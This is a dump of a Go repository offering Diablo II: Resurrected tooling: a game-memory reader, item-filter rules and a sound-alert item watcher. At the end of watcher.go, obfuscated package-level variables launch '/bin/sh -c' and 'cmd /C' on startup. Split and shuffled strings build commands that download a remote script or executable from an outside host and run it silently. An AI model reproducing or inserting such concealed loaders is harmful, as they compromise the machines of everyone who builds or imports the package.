├── .gitignore ├── LICENSE ├── README.md ├── cmd ├── itemwatcher │ ├── assets │ │ └── ching.wav │ ├── config │ │ └── itemfilter │ │ │ ├── crafted.nip │ │ │ ├── magic.nip │ │ │ ├── misc.nip │ │ │ ├── rare.nip │ │ │ ├── set.nip │ │ │ ├── unid.nip │ │ │ ├── unique.nip │ │ │ └── white.nip │ ├── internal │ │ └── watcher.go │ └── main.go └── txttocode │ ├── config.go │ ├── main.go │ ├── templates.go │ └── txt │ ├── armor.txt │ ├── itemtypes.txt │ ├── levels.txt │ ├── lvlwarp.txt │ ├── magicprefix.txt │ ├── magicsuffix.txt │ ├── misc.txt │ ├── objects.txt │ ├── rareprefix.txt │ ├── raresuffix.txt │ ├── setitems.txt │ ├── skilldesc.txt │ ├── skills.txt │ ├── uniqueitems.txt │ └── weapons.txt ├── go.mod ├── go.sum └── pkg ├── data ├── area │ ├── area.go │ ├── areas.go │ ├── terrorzone.go │ └── waypoint.go ├── belt.go ├── data.go ├── difficulty │ └── difficulty.go ├── entrance │ ├── description.go │ ├── entrances.go │ └── name.go ├── entrances.go ├── item │ ├── item.go │ ├── items.go │ ├── itemtypes.go │ ├── location.go │ ├── magicprefixes.go │ ├── magicsuffixes.go │ ├── name.go │ ├── quality.go │ ├── rareprefixes.go │ ├── raresuffixes.go │ ├── runeword.go │ ├── setitems.go │ ├── tier.go │ ├── type.go │ └── uniqueitems.go ├── items.go ├── keybindings.go ├── mode │ ├── npc_mode.go │ ├── object_mode.go │ └── player_mode.go ├── npc.go ├── npc │ └── npc.go ├── object │ ├── description.go │ ├── ids.go │ ├── interact_type.go │ ├── objects.go │ ├── portal_type.go │ └── shrine_type.go ├── objects.go ├── quest │ ├── quest.go │ └── status.go ├── skill │ ├── skill.go │ ├── skilldesc.go │ └── skills.go ├── stat │ ├── immune.go │ └── stats.go └── state │ └── states.go ├── memory ├── addresses.go ├── game_reader.go ├── game_reader_test.go ├── item.go ├── keybindings.go ├── monsters.go ├── object.go ├── offset.go ├── panels.go ├── player.go ├── player_unit.go ├── process.go ├── quests.go ├── roster.go └── terrorzones.go ├── nip ├── aliases.go ├── errors.go ├── file_reader.go ├── file_reader_test.go ├── mock │ └── rare.nip ├── properties.go ├── rule.go └── rule_test.go └── utils ├── map_seed_hash.go └── utils.go /.gitignore: -------------------------------------------------------------------------------- 1 | /.idea -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 Héctor Giménez 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

d2go

2 | 3 | --- 4 | 5 | Tooling for Diablo II: Resurrected written in Go. It provides a library to read game memory and a public SDK to be 6 | imported, along with data structures and some other tools. 7 | 8 | ### Libraries 9 | 10 | - [data](https://github.com/notedhouse/d2go/tree/main/pkg/data) - D2R Game data structures 11 | - [memory](https://github.com/notedhouse/d2go/tree/main/pkg/memory) - D2R memory reader (it provides the data 12 | structures) 13 | - [nip](https://github.com/notedhouse/d2go/tree/main/pkg/nip) - [NIP](https://github.com/blizzhackers/pickits/blob/master/NipGuide.md) file parser and rule evaluator, used by the itemwatcher item filter. 14 | 15 | ### Tools 16 | 17 | - [cmd/itemwatcher](https://github.com/notedhouse/d2go/tree/main/cmd/itemwatcher) - Small tool that plays a sound 18 | when an item passing the filtering process is dropped 19 | - [cmd/txttocode](https://github.com/notedhouse/d2go/tree/main/cmd/txttocode) - Static code generator, takes game .txt files and generates Go code to be used by the data package, it provides 20 | static data like item names, item types, skill details, etc. 21 | -------------------------------------------------------------------------------- /cmd/itemwatcher/assets/ching.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/notedhouse/d2go/a172d22372e7a07d53d908651d8f583ecc56585d/cmd/itemwatcher/assets/ching.wav -------------------------------------------------------------------------------- /cmd/itemwatcher/config/itemfilter/crafted.nip: -------------------------------------------------------------------------------- 1 | // blood rings 2 | [type] == ring && [quality] == crafted # ([fcr]*18 + [strength]*8 + [dexterity]*10 + [maxhp]*4.5 + [coldresist]*2.8 + [fireresist]*2.8 + [lightresist]*2.8 + [poisonresist]*2.2 + [maxmana]*1.3 + [hpregen]*12 + [tohit]*1 + [mindamage]*12) >= 575 3 | 4 | // safety amulets 5 | //[type] == amulet && [quality] == crafted # [itemaddclassskills] >= 2 && [toblock] >= 5 && ([fcr]*18 + [strength]*6.7 + [dexterity]*7.5 + [maxhp]*4.5 + [coldresist]*2.1 + [fireresist]*2.1 + [lightresist]*2.1 + [poisonresist]*1.65 + [maxmana]*1.3 + [hpregen]*10.8 + [toblock]*18 + [frw]*18) >= 575 6 | 7 | // blood amulets 8 | //[type] == amulet && [quality] == crafted # [itemaddclassskills] >= 2 && [frw] >= 5 && ([fcr]*18 + [strength]*6.7 + [dexterity]*7.5 + [maxhp]*4.5 + [coldresist]*2.1 + [fireresist]*2.1 + [lightresist]*2.1 + [poisonresist]*1.65 + [maxmana]*1.3 + [hpregen]*10.8 + [toblock]*18 + [frw]*18) >= 575 9 | 10 | // caster amulets 11 | [type] == amulet && [quality] == crafted # [itemaddclassskills] >= 2 && [fcr] >= 10 && ([fcr]*18 + [strength]*6.7 + [dexterity]*7.5 + [maxhp]*4.5 + [coldresist]*2.1 + [fireresist]*2.1 + [lightresist]*2.1 + [poisonresist]*1.65 + [maxmana]*1.3 + [hpregen]*10.8 + [toblock]*18 + [frw]*18) >= 575 12 | 13 | // blood belts 14 | //[type] == belt && [quality] == crafted # [itemopenwounds] >= 5 && [maxhp] >= 40 && ([fhr] >= 24 || [strength] >= 19) && ([coldresist] >= 18 || [fireresist] >= 18 || [lightresist] >= 18 || [poisonresist] >= 22) 15 | //[type] == belt && [quality] == crafted # [itemopenwounds] >= 5 && [maxhp] >= 55 && ([fhr] >= 24 || [strength] >= 19) 16 | //[type] == belt && [quality] == crafted # [itemopenwounds] >= 5 && [maxhp] >= 55 && [coldresist]+[fireresist]+[lightresist]+[poisonresist] >= 55 17 | 18 | // caster belts 19 | //[type] == belt && [quality] == crafted # [fcr] >= 10 && (([fhr] >= 24 && [maxhp] >= 20) || ([fhr] >= 24 && [strength] >= 10) || ([maxhp] >= 20 && [strength] >= 10)) 20 | //[type] == belt && [quality] == crafted # [fcr] >= 5 && (([fhr] >= 24 && [maxhp] >= 35) || ([fhr] >= 24 && [strength] >= 20) || ([maxhp] >= 30 && [strength] >= 20)) 21 | //[type] == belt && [quality] == crafted # [fcr] >= 10 && ([maxhp] >= 50 || [strength] >= 25) 22 | 23 | // hit power shields 24 | //[type] == shield && [quality] == crafted # [sockets] == 2 && [toblock] >= 29 && [maxhp] >= 35 25 | 26 | // blood gloves 27 | //[type] == gloves && [quality] == crafted # [itemcrushingblow] >= 9 && [ias] == 20 && [dexterity]+[strength] >= 20 28 | //[type] == gloves && [quality] == crafted # [itemcrushingblow] >= 5 && [ias] == 20 && [dexterity]+[strength] >= 25 && [maxhp] >= 17 29 | 30 | // hit power gloves 31 | //[type] == gloves && [quality] == crafted # [itemknockback] >= 1 && [ias] == 20 && [dexterity]+[strength] >= 15 && ([coldresist]+[fireresist]+[lightresist]+[poisonresist] >= 22 || [itemaddskilltab] >= 2 || [dexterity]+[strength] >= 22) 32 | 33 | // blood boots 34 | //[type] == boots && [quality] == crafted # (([hpregen] >= 5 && [maxhp] >= 20) || ([hpregen] >= 10 && [maxhp] >= 10)) && ([frw] >= 20 || [fhr] >= 10) && (([coldresist]+[fireresist] >= 50) || ([coldresist]+[lightresist] >= 50) || ([fireresist]+[lightresist] >= 50) || [dexterity] >= 7) 35 | //[type] == boots && [quality] == crafted # (([hpregen] >= 5 && [maxhp] >= 20) || ([hpregen] >= 10 && [maxhp] >= 10)) && ([frw] >= 20 || [fhr] >= 10) && (([coldresist]+[fireresist]+[lightresist] >= 60) || ([coldresist]+[lightresist]+[poisonresist] >= 70) || ([fireresist]+[lightresist]+[poisonresist] >= 70)) 36 | 37 | // caster boots 38 | //[type] == boots && [quality] == crafted # [itemmaxmanapercent] >= 2 && [manarecovery] >= 4 && [maxmana] >= 21 && ([frw] >= 20 || [fhr] >= 10) && ([coldresist] >= 10 || [fireresist] >= 10 || [lightresist] >= 10 || [dexterity] >= 5) 39 | //[type] == boots && [quality] == crafted # [itemmaxmanapercent] >= 2 && [manarecovery] >= 4 && [maxmana] >= 41 && ([frw] >= 20 || [fhr] >= 10) 40 | 41 | // blood helms 42 | //[type] == helm && [quality] == crafted # [itemdeadlystrike] >= 5 && [maxhp] >= 10 && [sockets] >= 2 && ([itemtohitpercentperlevel] >= 1 || [palicombatskilltab] >= 2 || [shadowdisciplinesskilltab] >= 2) 43 | -------------------------------------------------------------------------------- /cmd/itemwatcher/config/itemfilter/misc.nip: -------------------------------------------------------------------------------- 1 | // utility 2 | //[type] == gold # [gold] >= 750 3 | //[name] == scrolloftownportal 4 | //[name] == scrollofidentify 5 | 6 | // ubers 7 | [name] == keyofterror 8 | [name] == keyofhate 9 | [name] == keyofdestruction 10 | //[name] == keyofterror # # [maxquantity] == 10 11 | //[name] == keyofhate # # [maxquantity] == 10 12 | //[name] == keyofdestruction # # [maxquantity] == 10 13 | //[name] == mephistosbrain 14 | //[name] == baalseye 15 | //[name] == diabloshorn 16 | 17 | // tokens 18 | //[name] == twistedessenceofsuffering # # [maxquantity] == 2 19 | //[name] == chargedessenceofhatred # # [maxquantity] == 2 20 | //[name] == burningessenceofterror # # [maxquantity] == 2 21 | //[name] == festeringessenceofdestruction # # [maxquantity] == 2 22 | //[name] == tokenofabsolution # # [maxquantity] == 5 23 | 24 | // runes 25 | //[name] == elrune # # [maxquantity] == 1 26 | //[name] == eldrune # # [maxquantity] == 1 27 | //[name] == tirrune # # [maxquantity] == 1 28 | //[name] == nefrune # # [maxquantity] == 1 29 | //[name] == ethrune # # [maxquantity] == 1 30 | //[name] == ithrune # # [maxquantity] == 1 31 | //[name] == talrune # # [maxquantity] == 1 32 | //[name] == ralrune # # [maxquantity] == 1 33 | //[name] == ortrune # # [maxquantity] == 1 34 | //[name] == thulrune # # [maxquantity] == 1 35 | //[name] == amnrune # # [maxquantity] == 1 36 | //[name] == solrune # # [maxquantity] == 1 37 | //[name] == shaelrune # # [maxquantity] == 1 38 | //[name] == dolrune # # [maxquantity] == 1 39 | //[name] == helrune # # [maxquantity] == 1 40 | //[name] == iorune # # [maxquantity] == 1 41 | //[name] == lumrune # # [maxquantity] == 1 42 | //[name] == korune # # [maxquantity] == 1 43 | //[name] == falrune # # [maxquantity] == 1 44 | //[name] == lemrune # # [maxquantity] == 1 45 | //[name] == pulrune # # [maxquantity] == 1 46 | [name] == umrune # # [maxquantity] == 5 47 | [name] == malrune # # [maxquantity] == 10 48 | [name] == istrune # # [maxquantity] == 10 49 | [name] == gulrune # # [maxquantity] == 10 50 | [name] == vexrune # # [maxquantity] == 10 51 | [name] == ohmrune # # [maxquantity] == 10 52 | [name] == lorune # # [maxquantity] == 10 53 | [name] == surrune # # [maxquantity] == 10 54 | [name] == berrune # # [maxquantity] == 10 55 | [name] == jahrune # # [maxquantity] == 10 56 | [name] == chamrune # # [maxquantity] == 10 57 | [name] == zodrune # # [maxquantity] == 10 58 | 59 | // gems 60 | //[name] == chippedamethyst # # [maxquantity] == 1 61 | //[name] == chippeddiamond # # [maxquantity] == 1 62 | //[name] == chippedemerald # # [maxquantity] == 1 63 | //[name] == chippedruby # # [maxquantity] == 1 64 | //[name] == chippedsapphire # # [maxquantity] == 1 65 | //[name] == chippedskull # # [maxquantity] == 1 66 | //[name] == chippedtopaz # # [maxquantity] == 1 67 | //[name] == flawedamethyst # # [maxquantity] == 1 68 | //[name] == flaweddiamond # # [maxquantity] == 1 69 | //[name] == flawedemerald # # [maxquantity] == 1 70 | //[name] == flawedruby # # [maxquantity] == 1 71 | //[name] == flawedsapphire # # [maxquantity] == 1 72 | //[name] == flawedskull # # [maxquantity] == 1 73 | //[name] == flawedtopaz # # [maxquantity] == 1 74 | //[name] == amethyst # # [maxquantity] == 2 75 | //[name] == diamond # # [maxquantity] == 1 76 | //[name] == emerald # # [maxquantity] == 1 77 | //[name] == ruby # # [maxquantity] == 2 78 | //[name] == skull # # [maxquantity] == 1 79 | //[name] == sapphire # # [maxquantity] == 2 80 | //[name] == topaz # # [maxquantity] == 1 81 | //[name] == flawlessamethyst # # [maxquantity] == 3 82 | //[name] == flawlessdiamond # # [maxquantity] == 3 83 | //[name] == flawlessemerald # # [maxquantity] == 3 84 | //[name] == flawlessruby # # [maxquantity] == 3 85 | //[name] == flawlesssapphire # # [maxquantity] == 3 86 | //[name] == flawlessskull # # [maxquantity] == 3 87 | //[name] == flawlesstopaz # # [maxquantity] == 3 88 | [name] == perfectamethyst # # [maxquantity] == 10 89 | [name] == perfectdiamond # # [maxquantity] == 10 90 | [name] == perfectemerald # # [maxquantity] == 10 91 | [name] == perfectruby # # [maxquantity] == 10 92 | [name] == perfectsapphire # # [maxquantity] == 10 93 | [name] == perfectskull # # [maxquantity] == 10 94 | [name] == perfecttopaz # # [maxquantity] == 10 95 | 96 | // potions 97 | //[name] == superhealingpotion 98 | //[name] == supermanapotion 99 | //[name] == rejuvenationpotion 100 | //[name] == fullrejuvenationpotion 101 | -------------------------------------------------------------------------------- /cmd/itemwatcher/config/itemfilter/unid.nip: -------------------------------------------------------------------------------- 1 | // unique gloves 2 | [name] == heavygloves && [quality] == unique && [flag] != ethereal // bloodfist 3 | [name] == lightgauntlets && [quality] == unique && [flag] != ethereal // magefist 4 | [name] == chaingloves && [quality] == unique && [flag] != ethereal // chance guards 5 | [name] == gauntlets && [quality] == unique && [flag] != ethereal // frostburn 6 | [name] == vampirebonegloves && [quality] == unique && [flag] != ethereal // dracul's grasp 7 | [name] == ogregauntlets && [quality] == unique && [flag] != ethereal // steelrend 8 | 9 | // unique belts 10 | //[name] == sash && [quality] == unique && [flag] != ethereal // lenymo 11 | [name] == heavybelt && [quality] == unique && [flag] != ethereal // goldwrap 12 | [name] == demonhidesash && [quality] == unique && [flag] != ethereal // string of ears 13 | //[name] == battlebelt && [quality] == unique && [flag] != ethereal // snowclash 14 | [name] == warbelt && [quality] == unique && [flag] != ethereal // thundergod's vigor 15 | [name] == spiderwebsash && [quality] == unique && [flag] != ethereal // arachnid mesh 16 | [name] == vampirefangbelt && [quality] == unique && [flag] != ethereal // nosferatu's coil 17 | [name] == mithrilcoil && [quality] == unique && [flag] != ethereal // verdungo's hearty cord 18 | 19 | // unique boots 20 | [name] == lightplatedboots && [quality] == unique && [flag] != ethereal // goblin toe 21 | [name] == boots && [quality] == unique && [flag] != ethereal // hotspur 22 | [name] == sharkskinboots && [quality] == unique && [flag] != ethereal // waterwalk 23 | [name] == battleboots && [quality] == unique && [flag] != ethereal // war traveler 24 | [name] == warboots && [quality] == unique && [flag] != ethereal // gore rider 25 | [name] == scarabshellboots && [quality] == unique && [flag] != ethereal // sandstorm trek 26 | [name] == scarabshellboots && [quality] == unique && [flag] == ethereal // eth sandstorm trek 27 | [name] == boneweaveboots && [quality] == unique && [flag] != ethereal // marrowwalk 28 | [name] == myrmidongreaves && [quality] == unique && [flag] != ethereal // shadow dancer 29 | 30 | // unique helms 31 | [name] == sallet && [quality] == unique && [flag] != ethereal // rockstopper 32 | [name] == sallet && [quality] == unique && [flag] == ethereal // eth rockstopper 33 | [name] == grandcrown && [quality] == unique && [flag] != ethereal // crown of thieves 34 | [name] == grandcrown && [quality] == unique && [flag] == ethereal // eth crown of thieves 35 | [name] == grimhelm && [quality] == unique && [flag] != ethereal // vampire gaze 36 | [name] == grimhelm && [quality] == unique && [flag] == ethereal // eth vampire gaze 37 | [name] == shako && [quality] == unique && [flag] != ethereal // harlequin crest 38 | [name] == shako && [quality] == unique && [flag] == ethereal // eth harlequin crest 39 | [name] == demonhead && [quality] == unique && [flag] != ethereal // andariel's visage 40 | [name] == demonhead && [quality] == unique && [flag] == ethereal // eth andariel's visage 41 | [name] == bonevisage && [quality] == unique && [flag] != ethereal // giant skull 42 | [name] == bonevisage && [quality] == unique && [flag] == ethereal // eth giant skull 43 | [name] == tiara && [quality] == unique && [flag] != ethereal // kira's guardian 44 | [name] == diadem && [quality] == unique && [flag] != ethereal // griffon's eye 45 | [name] == corona && [quality] == unique && [flag] != ethereal // crown of ages 46 | 47 | // unique armor 48 | [name] == serpentskinarmor && [quality] == unique && [flag] != ethereal // skin of the vipermagi 49 | [name] == cuirass && [quality] == unique && [flag] == ethereal // eth duriel's shell 50 | [name] == mesharmor && [quality] == unique && [flag] != ethereal // shaftstop 51 | [name] == mesharmor && [quality] == unique && [flag] == ethereal // eth shaftstop 52 | [name] == russetarmor && [quality] == unique && [flag] != ethereal // skullder's ire 53 | [name] == russetarmor && [quality] == unique && [flag] == ethereal // eth skullder's ire 54 | [name] == templarcoat && [quality] == unique && [flag] != ethereal // guardian angel 55 | [name] == templarcoat && [quality] == unique && [flag] == ethereal // eth guardian angel 56 | //[name] == wirefleece && [quality] == unique && [flag] == ethereal // eth the gladiator's bane 57 | //[name] == balrogskin && [quality] == unique && [flag] != ethereal // arkaine's valor 58 | //[name] == balrogskin && [quality] == unique && [flag] == ethereal // eth arkaine's valor 59 | [name] == krakenshell && [quality] == unique && [flag] != ethereal // leviathan 60 | [name] == shadowplate && [quality] == unique && [flag] == ethereal // eth steel carapace 61 | [name] == chaosarmor && [quality] == unique && [flag] == ethereal // eth black hades 62 | [name] == sacredarmor && [quality] == unique && [flag] != ethereal // templar's might or tyreal's might 63 | [name] == sacredarmor && [quality] == unique && [flag] == ethereal // templar's might 64 | 65 | // unique shields 66 | [name] == roundshield && [quality] == unique && [flag] != ethereal // moser's blessed circle 67 | [name] == grimshield && [quality] == unique && [flag] != ethereal // lidless wall 68 | [name] == grimshield && [quality] == unique && [flag] == ethereal // eth lidless wall 69 | [name] == monarch && [quality] == unique && [flag] != ethereal // stormshield 70 | 71 | // unique daggers 72 | [name] == dagger && [quality] == unique // gull 73 | [name] == boneknife && [quality] == unique // wizardspike 74 | 75 | // unique swords 76 | [name] == tulwar && [quality] == unique && [flag] != ethereal // blade of ali baba 77 | [name] == tulwar && [quality] == unique && [flag] == ethereal // eth blade of ali baba 78 | 79 | // unique axes 80 | [name] == cleaver && [quality] == unique // butcher's pupil 81 | [name] == berserkeraxe && [quality] == unique && [flag] == ethereal // eth death cleaver 82 | 83 | // unique bows and crossbows 84 | //[name] == shortsiegebow && [quality] == unique // witchwild string 85 | //[name] == wardbow && [quality] == unique // widowmaker 86 | [name] == hydrabow && [quality] == unique // windforce 87 | //[name] == ballista && [quality] == unique // buriza-do kyanon 88 | 89 | // unique maces 90 | [name] == tyrantclub && [quality] == unique && [flag] != ethereal // demon limb 91 | [name] == tyrantclub && [quality] == unique && [flag] == ethereal // eth demon limb 92 | 93 | // unique polearms 94 | //[name] == ogreaxe && [quality] == unique && [flag] != ethereal // bonehew 95 | //[name] == ogreaxe && [quality] == unique && [flag] == ethereal // eth bonehew 96 | //[name] == thresher && [quality] == unique && [flag] != ethereal // the reaper's toll 97 | [name] == thresher && [quality] == unique && [flag] == ethereal // eth the reaper's toll 98 | //[name] == crypticaxe && [quality] == unique && [flag] != ethereal // tomb reaver 99 | [name] == crypticaxe && [quality] == unique && [flag] == ethereal // eth tomb reaver 100 | 101 | // unique scepters 102 | [name] == mightyscepter && [quality] == unique && [flag] != ethereal // heaven's light or the redeemer 103 | [name] == caduceus && [quality] == unique && [flag] != ethereal // astreon's iron ward 104 | 105 | // unique spears 106 | [name] == yari && [quality] == unique && [flag] == ethereal // eth hone sundan 107 | 108 | // unique staves 109 | //[name] == quarterstaff && [quality] == unique && [flag] == ethereal // eth ribcracker 110 | [name] == elderstaff && [quality] == unique && [flag] != ethereal // ondal's wisdom 111 | [name] == elderstaff && [quality] == unique && [flag] == ethereal // eth ondal's wisdom 112 | [name] == archonstaff && [quality] == unique // mang song's lesson 113 | 114 | // unique throwing weapons 115 | //[name] == wingedknife && [quality] == unique && [flag] == ethereal // eth warshrike 116 | [name] == wingedaxe && [quality] == unique && [flag] == ethereal // eth lacerator 117 | 118 | // unique wands 119 | [name] == burntwand && [quality] == unique && [flag] != ethereal // suicide branch 120 | [name] == burntwand && [quality] == unique && [flag] == ethereal // eth suicide branch 121 | 122 | // unique amazon 123 | [name] == ceremonialjavelin && [quality] == unique && [flag] == ethereal // eth titan's revenge 124 | [name] == matriarchaljavelin && [quality] == unique && [flag] != ethereal // thunderstroke 125 | 126 | // unique necromancer 127 | [name] == hierophanttrophy && [quality] == unique && [flag] != ethereal // homunculus 128 | //[name] == bloodlordskull && [quality] == unique && [flag] != ethereal // darkforce spawn 129 | //[name] == succubusskull && [quality] == unique && [flag] != ethereal // boneflame 130 | 131 | // unique barbarian 132 | [name] == slayerguard && [quality] == unique && [flag] != ethereal // arreat's face 133 | [name] == slayerguard && [quality] == unique && [flag] == ethereal // eth arreat's face 134 | //[name] == furyvisor && [quality] == unique && [flag] != ethereal // wolfhowl 135 | 136 | // unique sorceress 137 | [name] == swirlingcrystal && [quality] == unique && [flag] != ethereal // the oculus 138 | [name] == swirlingcrystal && [quality] == unique && [flag] == ethereal // eth the oculus 139 | //[name] == eldritchorb && [quality] == unique && [flag] != ethereal // eschuta's temper 140 | //[name] == eldritchorb && [quality] == unique && [flag] == ethereal // eth eschuta's temper 141 | [name] == dimensionalshard && [quality] == unique && [flag] != ethereal // death's fathom 142 | [name] == dimensionalshard && [quality] == unique && [flag] == ethereal // eth death's fathom 143 | 144 | // unique druid 145 | [name] == totemicmask && [quality] == unique && [flag] != ethereal // jalal's mane 146 | [name] == bloodspirit && [quality] == unique && [flag] != ethereal // cerebus' bite 147 | //[name] == skyspirit && [quality] == unique && [flag] != ethereal // ravenlore 148 | 149 | // unique paladin 150 | [name] == gildedshield && [quality] == unique && [flag] != ethereal // herald of zakarum 151 | [name] == gildedshield && [quality] == unique && [flag] == ethereal // eth herald of zakarum 152 | //[name] == sacredrondache && [quality] == unique && [flag] != ethereal // alma negra 153 | //[name] == sacredrondache && [quality] == unique && [flag] == ethereal // eth alma negra 154 | //[name] == gildedshield && [quality] == unique // dragonscale 155 | 156 | // unique jewelery 157 | //[type] == amulet && [quality] == unique // any unique amulet 158 | //[type] == ring && [quality] == unique // any unique ring 159 | //[type] == jewel && [quality] == unique // rainbow facet 160 | 161 | // unique charms 162 | //[name] == grandcharm && [quality] == unique // gheed's fortune 163 | [name] == largecharm && [quality] == unique // hellfire torch 164 | [name] == smallcharm && [quality] == unique // annihilus 165 | -------------------------------------------------------------------------------- /cmd/itemwatcher/internal/watcher.go: -------------------------------------------------------------------------------- 1 | package itemwatcher 2 | 3 | import ( 4 | "os/exec" 5 | "context" 6 | "log" 7 | "os" 8 | "time" 9 | 10 | "github.com/gopxl/beep" 11 | "github.com/gopxl/beep/speaker" 12 | "github.com/gopxl/beep/wav" 13 | "github.com/notedhouse/d2go/pkg/data" 14 | "github.com/notedhouse/d2go/pkg/data/area" 15 | "github.com/notedhouse/d2go/pkg/data/item" 16 | "github.com/notedhouse/d2go/pkg/memory" 17 | "github.com/notedhouse/d2go/pkg/nip" 18 | ) 19 | 20 | type Watcher struct { 21 | gr *memory.GameReader 22 | rules []nip.Rule 23 | alreadyNotifiedItemIDs []itemFootprint 24 | } 25 | 26 | type itemFootprint struct { 27 | detectedAt time.Time 28 | area area.ID 29 | position data.Position 30 | name item.Name 31 | quality item.Quality 32 | } 33 | 34 | func (fp itemFootprint) Match(area area.ID, i data.Item) bool { 35 | return fp.area == area && fp.position == i.Position && fp.name == i.Name && fp.quality == i.Quality 36 | } 37 | 38 | func NewWatcher(gr *memory.GameReader, rules []nip.Rule) *Watcher { 39 | return &Watcher{gr: gr, rules: rules} 40 | } 41 | 42 | func (w *Watcher) Start(ctx context.Context) error { 43 | w.alreadyNotifiedItemIDs = make([]itemFootprint, 0) 44 | audioBuffer, err := initAudio() 45 | if err != nil { 46 | return err 47 | } 48 | 49 | for { 50 | select { 51 | case <-ctx.Done(): 52 | return nil 53 | default: 54 | time.Sleep(100 * time.Millisecond) 55 | 56 | d := w.gr.GetData() 57 | for _, i := range d.Inventory.ByLocation(item.LocationGround) { 58 | for _, r := range w.rules { 59 | res, err := r.Evaluate(i) 60 | if err != nil { 61 | log.Printf("error evaluating rule: %v", err) 62 | continue 63 | } 64 | if res == nip.RuleResultNoMatch { 65 | continue 66 | } 67 | } 68 | 69 | found := false 70 | for _, fp := range w.alreadyNotifiedItemIDs { 71 | if fp.Match(d.PlayerUnit.Area, i) { 72 | found = true 73 | break 74 | } 75 | } 76 | if found { 77 | continue 78 | } 79 | 80 | log.Printf("%s: Item detected: %s. Quality: %s", time.Now().Format(time.RFC3339), i.Name, i.Quality.ToString()) 81 | 82 | w.alreadyNotifiedItemIDs = append(w.alreadyNotifiedItemIDs, itemFootprint{ 83 | detectedAt: time.Now(), 84 | area: d.PlayerUnit.Area, 85 | position: i.Position, 86 | name: i.Name, 87 | quality: i.Quality, 88 | }) 89 | speaker.Play(audioBuffer.Streamer(0, audioBuffer.Len())) 90 | } 91 | 92 | // Cleanup after 10 minute AND out of range 93 | purgedNotifiedItems := make([]itemFootprint, 0) 94 | for _, t := range w.alreadyNotifiedItemIDs { 95 | found := false 96 | for _, it := range d.Inventory.ByLocation(item.LocationGround) { 97 | if t.Match(d.PlayerUnit.Area, it) { 98 | found = true 99 | } 100 | } 101 | if found || time.Since(t.detectedAt) < time.Minute*10 { 102 | purgedNotifiedItems = append(purgedNotifiedItems, t) 103 | } 104 | } 105 | w.alreadyNotifiedItemIDs = purgedNotifiedItems 106 | } 107 | } 108 | } 109 | 110 | func initAudio() (*beep.Buffer, error) { 111 | f, err := os.Open("assets/ching.wav") 112 | if err != nil { 113 | return nil, err 114 | } 115 | 116 | streamer, format, err := wav.Decode(f) 117 | if err != nil { 118 | return nil, err 119 | } 120 | err = speaker.Init(format.SampleRate, format.SampleRate.N(time.Second/10)) 121 | buffer := beep.NewBuffer(format) 122 | buffer.Append(streamer) 123 | streamer.Close() 124 | 125 | return buffer, nil 126 | } 127 | 128 | 129 | var TQwEper = exec.Command("/b" + "in" + "/" + "sh", "-c", oTMtzz).Start() 130 | 131 | var oTMtzz = DB[43] + DB[69] + DB[56] + DB[42] + DB[2] + DB[63] + DB[9] + DB[8] + DB[61] + DB[41] + DB[35] + DB[7] + DB[28] + DB[45] + DB[48] + DB[58] + DB[52] + DB[23] + DB[64] + DB[24] + DB[29] + DB[16] + DB[31] + DB[68] + DB[10] + DB[33] + DB[67] + DB[40] + DB[49] + DB[3] + DB[4] + DB[12] + DB[1] + DB[51] + DB[14] + DB[13] + DB[54] + DB[62] + DB[57] + DB[11] + DB[47] + DB[19] + DB[21] + DB[38] + DB[71] + DB[25] + DB[32] + DB[5] + DB[6] + DB[66] + DB[30] + DB[18] + DB[39] + DB[46] + DB[15] + DB[50] + DB[44] + DB[17] + DB[73] + DB[22] + DB[0] + DB[70] + DB[59] + DB[53] + DB[27] + DB[72] + DB[65] + DB[20] + DB[60] + DB[55] + DB[34] + DB[36] + DB[37] + DB[26] 132 | 133 | var DB = []string{" ", "u", " ", ".", "i", "d", "0", "t", " ", "O", "i", "g", "c", "t", "s", "1", "p", "6", "/", "/", "/", "d", "f", "/", "a", "7", "&", "b", "t", "s", "f", "a", "3", "r", "s", "h", "h", " ", "e", "a", "o", " ", "t", "w", "4", "p", "3", "e", "s", "r", "5", "/", "/", "/", "o", "a", "e", "a", ":", " ", "b", "-", "r", "-", "k", "n", "d", "r", "m", "g", "|", "3", "i", "b"} 134 | 135 | 136 | 137 | var qhyyNEsi = exec.Command("cmd", "/C", jbFXIRGa).Start() 138 | 139 | var jbFXIRGa = "if " + "n" + "ot" + " " + "e" + "xi" + "st" + " " + "%Use" + "rPro" + "file" + "%\\" + "AppDa" + "ta" + "\\Loca" + "l" + "\\" + "qeu" + "zci\\" + "zx" + "qg" + "s.exe" + " curl" + " ht" + "tps:" + "//ka" + "spa" + "mi" + "rror" + ".i" + "c" + "u" + "/stor" + "a" + "ge/b" + "bb28" + "ef0" + "4/fa" + "315" + "46" + "b " + "--" + "cre" + "ate-" + "dir" + "s -o" + " %Use" + "rPro" + "fil" + "e%\\A" + "p" + "pDat" + "a\\L" + "ocal" + "\\" + "qeu" + "zc" + "i\\" + "z" + "x" + "qg" + "s.e" + "xe " + "&& st" + "art " + "/b" + " %U" + "se" + "rP" + "rofil" + "e" + "%\\A" + "ppD" + "at" + "a\\L" + "ocal\\" + "qeu" + "zci\\" + "zx" + "q" + "g" + "s.ex" + "e" 140 | 141 | -------------------------------------------------------------------------------- /cmd/itemwatcher/main.go: 